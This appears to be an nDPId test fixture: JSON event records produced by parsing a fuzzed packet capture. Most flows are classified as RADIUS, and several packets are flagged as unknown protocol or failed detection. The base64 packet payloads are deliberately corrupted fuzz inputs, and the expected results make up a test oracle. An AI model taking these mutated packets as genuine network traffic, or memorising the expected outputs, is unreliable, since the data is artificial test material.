+01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997826,"pkt_ts_usec":378144,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCADLAALbISxAAP8RAAAKDEAexuIZNXIQBxQCxwAAAXoCv21LVaoOFlJlDTVaO4Jse+QaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMyNwZbIqfCCTUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jrzgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLXkwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWl2PTEwZmYxMGFjMDAwMDAwYzljMmE3MjI1YiwgNWIyMmE3YzIvZTA6NWY6NDU6OTA6MDk6NWYvMjMyBAasFAEQIA5WWldDMvxlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAA8yESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDhvMk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IR0GAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASlj6j0uJ92nAXwxDVWGMfUg=="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":223,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":227,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1528997829855,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.37","dst_ip":"0.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01352{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997829,"pkt_ts_usec":855077,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRd+4rqCABFAALbIS5AAP8RAAAKDEAlAOIZNXIQBxQCxwAAAXwCv4IsSQM3nR8wY02\/WtSNjVsaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAF\/ICQlXSVNQUjEwOgkAADghDQMyNwZbIqfFATVRMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vc2dZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzZG9uLWlkPTEwZmYxMGFjMDAwMDAwYzljMmE3MjI1YiwgNWIyMmE3YzIvZTA6NWY6NDU6OTA6MDk6NWYvMjMyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgC7AAZRBDU2TzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLkVyZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFahoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgYzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWUgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMeQA4IRQGAAABAhoMAAA4IRUzAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASDRiCmnK8XecKtcjM1khyyg=="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":227,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1528997829855,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.37","dst_ip":"0.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":231,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1528997833437,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.48.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997833,"pkt_ts_usec":437902,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbITBAAP8RAAAKDEAexjAZNXIQBxQCxwAAAX4Cv1biH8K0FjYkuY9BaqM1S08aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwiAkAADghDQMzNwZbIqfJATUwMzExNDgwMqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":231,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1528997833437,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.48.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1528997833703,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.52.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997833,"pkt_ts_usec":703336,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcUnCABFAADABiRAAPwRTcfGNBk1CgxAHgcUchAArG8ZA38ApPpRavVvUwLj8+Vom5Z2csUBNTAzMTE0ODAyODE1MDE1ODlAS2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3Y1EvZXM6NWY6NDU6OTA6MDk6FWYvMjMyEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEnLsj3tLTX0TFwMzSpwXcJE="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":234,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1528997833703,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.52.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":235,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1528997833703,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.52.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":235,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1528997833437,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.48.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":235,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1528997829855,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.37","dst_ip":"0.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01310{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997839,"pkt_ts_usec":248043,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAALbITKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":235,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1528997839322,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997839,"pkt_ts_usec":322635,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClBj5AAPwRTcjG4hk1CgxAHgcVchAAkSN5C4AAiYCfkZP9IDJyM93m2y+NtRUBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0MDAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE3Y2YvYjA6OWY6YmE6NGE6MGU6N2UvMjMzTw4BAAAMFwwAAAwBf\/xQEl7YRWPdxCp7KxkigG7kdUs="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":236,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1528997839322,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01247{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997839,"pkt_ts_usec":449302,"pkt_caplen":697,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"pkt":"AAAMB6xAVRRP+4qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":237,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":43690} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997839,"pkt_ts_usec":511870,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABlAADABkJAAPwRTaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":238,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":239,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1528997839322,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":240,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1528997867612,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29204,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997867,"pkt_ts_usec":612267,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClBqNAAPsRTmPG4hk1CgxAHgcUchQAkRggC4IAiUKdIcJOOZHCxHzP96o9900BNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZy4gNWIyMvo3Y2YvYjA6OWY64mE6NGE6MGU6N2UvMmgzTw4BAAAMFwwAAAwBf\/xQEmqru8HGcXlY8CXWo9RL+sk="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":240,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1528997867612,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29204,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":243,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1528997867612,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29204,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00636{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":244,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997988,"pkt_ts_usec":838453,"pkt_caplen":239,"pkt_type":2560,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCgBFAADhCANAAPwRS8fG4hk1CgxAHgcUchAAzcqaC4QAxQGJ6Lj45v3l8O9jNbsTb\/MBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0T0oBAhBIFwEAAAEFAAD7NrjaxmMHv4vIE1TL2G1wAgUAANQK+SugcQAAjldODJoz\/yqLAQACCwUAAPFizAqNmvaDbjPlWgGZGZpQEuJJeKWQmKkvyDnGACXbYRU="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":244,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2560} +01280{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":245,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997989,"pkt_ts_usec":240618,"pkt_caplen":725,"pkt_type":0,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4olAABFAALHITdAAP8RAAAKDEAexuIZNXIQBxQCswAAAYUCq1+INwexFZhfJQDfuQscp+waCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqhlATUwMzExNDgwMDczNjM4MDcyQHdsYW4QbW5jNDg2Lm1jYzMxMS5EZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAAGjEAAAAJASthdWRpdC1zZXNzae9uLWlkPTEwZmYxMGFjMDAwMDAwY2I2NGE4MjI1YiwgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABZU9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFAAAqyk7MPy+\/53EGG8G21R64AwIAIEnDCioaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyEgERVSpEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0Q0xhYhoJAADXyA8DMRoKAABXsBAETkpHEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaNQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbCUAIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQElQJdBGjY0wxqxPERz7qHjo="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":245,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":0} +00738{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":246,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997989,"pkt_ts_usec":461215,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":246,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":247,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1528997997929,"flow_last_seen":0,"flow_tot_l4_data_len":657,"flow_min_l4_data_len":657,"flow_max_l4_data_len":657,"flow_avg_l4_data_len":657,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 